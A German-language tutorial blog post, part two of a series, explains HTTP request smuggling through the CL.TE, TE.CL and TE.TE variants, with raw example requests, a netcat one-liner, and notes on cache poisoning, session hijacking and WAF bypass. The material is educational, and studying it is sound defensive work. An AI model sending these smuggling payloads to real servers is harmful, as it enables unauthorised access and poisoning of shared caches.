Teil 2 – Wie HTTP Request Smuggling funktioniert

Rückblick: Die Grundlage

In Teil 1 haben wir HTTP Request Smuggling als eine Art „Missverständnis“ zwischen Proxy und Backend erklärt. Der Angreifer baut seinen Request so, dass Proxy und Backend unterschiedlich interpretieren, wo der Request endet – und dadurch wird ein zweiter Request eingeschleust.

Jetzt gehen wir tiefer rein:

  • Welche Header sind schuld?
  • Welche Varianten gibt es?
  • Wie sieht so ein Request genau aus?

Die beiden Stars: Content-Length & Transfer-Encoding

  1. Content-Length (CL)
    • Gibt die Länge des HTTP-Bodys in Bytes an.
    • Beispiel: Content-Length: 20 → Es folgen genau 20 Bytes.
  2. Transfer-Encoding (TE)
    • Sagt, wie der Body übertragen wird.
    • Transfer-Encoding: chunked bedeutet: Der Body wird in „Chunks“ gesendet. Jeder Chunk beginnt mit seiner Länge in Hex.
    • Ende des Bodys: ein Chunk mit Länge 0 (0\r\n\r\n).

Beide Header sind für sich genommen harmlos. Das Problem: Was passiert, wenn beide gleichzeitig im Request stehen?


Warum das Chaos entsteht

Nicht alle Systeme verarbeiten Header gleich:

  • Manche bevorzugen Content-Length.
  • Manche bevorzugen Transfer-Encoding.
  • Manche versuchen, beide zu interpretieren → Rezept für Chaos.

Wenn Proxy und Backend unterschiedliche Regeln haben, „sehen“ sie verschiedene Requests. Das ist der Kern von HTTP Request Smuggling.


Drei Hauptvarianten

1. CL.TE – Proxy nutzt Content-Length, Backend nutzt Transfer-Encoding

ASCII-Skizze:

[Proxy-Sicht]         [Backend-Sicht]
+---------------+     +---------------+
| CL=13         |     | TE=chunked    |
| Body: abc...  |     | Body: chunk   |
| Ende Request  |     | 0 = Ende      |
+---------------+     | Neuer Request |
                      +---------------+

Beispiel-Request:

POST / HTTP/1.1
Host: victim.com
Content-Length: 13
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: victim.com
  • Proxy liest: Content-Length: 13 → denkt, Request ist beendet.
  • Backend liest: Transfer-Encoding: chunked → sieht nach dem 0 einen neuen Request (GET /admin).

Ergebnis: Der Angreifer schmuggelt /admin durch.


2. TE.CL – Proxy nutzt Transfer-Encoding, Backend nutzt Content-Length

ASCII-Skizze:

[Proxy-Sicht]         [Backend-Sicht]
+---------------+     +--------------------+
| TE=chunked    |     | CL=4              |
| Body: 4\r\nABCD\r\n | Body: ABCD\nGET... |
| 0\r\n\r\n     |     | Rest → neuer Body |
| Ende Request  |     | (Request „verschmiert“) |
+---------------+     +--------------------+

Beispiel-Request:

POST / HTTP/1.1
Host: victim.com
Transfer-Encoding: chunked
Content-Length: 4

4
ABCD
0

GET /admin HTTP/1.1
Host: victim.com
  • Proxy liest: „Ah, chunked.“ Er verarbeitet brav ABCD und denkt: Request fertig.
  • Backend liest: „CL=4.“ Es nimmt ABCD + die nächsten Zeilen (GET /admin) als Body.
  • Ergebnis: Request wird verschoben/vermischt – das kann zu Cache Poisoning führen.

3. TE.TE – beide nutzen Transfer-Encoding, aber unterschiedlich

ASCII-Skizze:

[Proxy-Sicht]         [Backend-Sicht]
+---------------+     +-----------------+
| TE=chunked    |     | TE=chunked      |
| Body: 0       |     | Body: längerer… |
| Ende Request  |     | Request im Body |
+---------------+     +-----------------+

Das ist die komplizierteste Variante: Proxy und Backend nutzen beide TE, aber interpretieren die Chunks unterschiedlich – z. B. wegen Groß/Kleinschreibung oder doppelter Header.

Beispiel (verkürzt):

POST / HTTP/1.1
Host: victim.com
Transfer-Encoding: chunked
Transfer-Encoding: cow

0

GET /admin HTTP/1.1
Host: victim.com
  • Proxy akzeptiert nur den ersten TE-Header → chunked.
  • Backend akzeptiert den zweiten → ignoriert chunked.
  • Ergebnis: Requests driften auseinander.

Visualisierung mit Zeitstrahl

Man kann sich das wie eine verschobene Zeitleiste vorstellen:

Proxy:   |----Request A----| Request B
Backend: |---Request A--------|Request B

Die Systeme sind sich uneinig, wann Request A endet. Dadurch „rutscht“ ein Teil in den nächsten Request hinein.


Was passiert im echten Leben?

Session Hijacking

Angreifer kann Cookies einschleusen:

0

GET /profile HTTP/1.1
Host: victim.com
Cookie: session=attacker

→ Proxy sieht nur harmlosen Request, Backend nutzt aber manipulierten Cookie.

Cache Poisoning

Angreifer schmuggelt einen Request, der eine manipulierte Antwort im Cache ablegt. Alle nachfolgenden Nutzer bekommen die falsche Antwort.

WAF-Bypass

Eine Web Application Firewall (WAF) prüft nur, was der Proxy sieht – der eigentliche Angriff steckt aber im Teil, den nur das Backend interpretiert.


Tools zum Reproduzieren

Burp Suite

  • Repeater: ermöglicht manuelles Basteln von Raw HTTP-Requests.
  • HTTP Request Smuggler (Extension): automatisiert viele Payloads.

Manuell mit Netcat

printf 'POST / HTTP/1.1\r\nHost: victim.com\r\nContent-Length: 13\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nGET /admin HTTP/1.1\r\nHost: victim.com\r\n\r\n' | nc victim.com 80

Eigene Scripts

Mit Python und socket lassen sich Requests exakt so senden, wie man will – ohne dass ein Browser oder eine Library „korrigierend eingreift“.


Warum Proxies besonders anfällig sind

  • CDNs und Load Balancer (Akamai, Cloudflare, HAProxy, Nginx) verarbeiten Requests oft anders als Backend-Server (Apache, Node.js, Tomcat).
  • In komplexen Infrastrukturen sind solche Unterschiede fast unvermeidlich.
  • Ein Angreifer testet gezielt, wie Requests durch die Kette „wandern“.

Was du bis hier mitnehmen solltest

  • HRS basiert auf uneinheitlicher Interpretation von Requests durch Proxy und Backend.
  • Die drei Hauptvarianten:
    • CL.TE (Proxy CL, Backend TE)
    • TE.CL (Proxy TE, Backend CL)
    • TE.TE (beide TE, aber verschieden interpretiert)
  • Mit widersprüchlichen Headern kann ein Angreifer Requests „einschmuggeln“.
  • Folgen: Session Hijacking, Cache Poisoning, WAF-Bypass.

Kommentare

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert